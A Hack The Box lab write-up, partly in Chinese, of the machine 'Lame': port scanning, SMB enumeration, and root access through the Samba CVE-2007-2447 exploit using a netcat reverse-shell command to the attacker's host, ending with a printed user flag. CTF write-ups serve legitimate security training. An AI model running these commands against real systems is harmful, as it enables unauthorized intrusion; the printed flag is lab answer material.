Lama(完成)

```
┌──(root㉿kali)-[~]
└─# nmap -sCV 10.10.10.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-29 19:26 PDT
Nmap scan report for 10.10.10.3
Host is up (0.30s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.10.14.8
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2h00m21s, deviation: 2h49m46s, median: 18s
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name:
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2024-03-29T22:27:32-04:00
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 72.40 seconds
```

ftp無資料

```
┌──(root㉿kali)-[~]
└─# ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:kali): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||53859|).
150 Here comes the directory listing.
226 Directory send OK.
```

smb

```
        Share Enumeration on 10.10.10.3

    Sharename       Type      Comment
    ---------       ----      -------
    print$          Disk      Printer Drivers
    tmp             Disk      oh noes!
    opt             Disk
    IPC$            IPC       IPC Service (lame server (Samba 3.0.20-Debian))
    ADMIN$          IPC       IPC Service (lame server (Samba 3.0.20-Debian))
Connecting with SMB1 for workgroup listing.
```

使用smb漏洞(CVE-2007-2447)

url : https://github.com/Ziemni/CVE-2007-2447-in-Python

```
┌──(root㉿kali)-[~/HTB/lame/CVE-2007-2447-in-Python]
└─# python3 smbExploit.py 10.10.10.3 'nc -e /bin/bash 10.10.14.8 9999'
[*] Sending the payload
[*] Something went wrong
ERROR:
```

```
┌──(root㉿kali)-[~]
└─# nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.3] 56205
id
uid=0(root) gid=0(root)
```

user name

```
cat /etc/passwd|grep bash
root:x:0:0:root:/root:/bin/bash
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
```

---

user.flag

```
cat user.txt
40d335facbc857a9e9aba7e546f0def0
```

---

root flag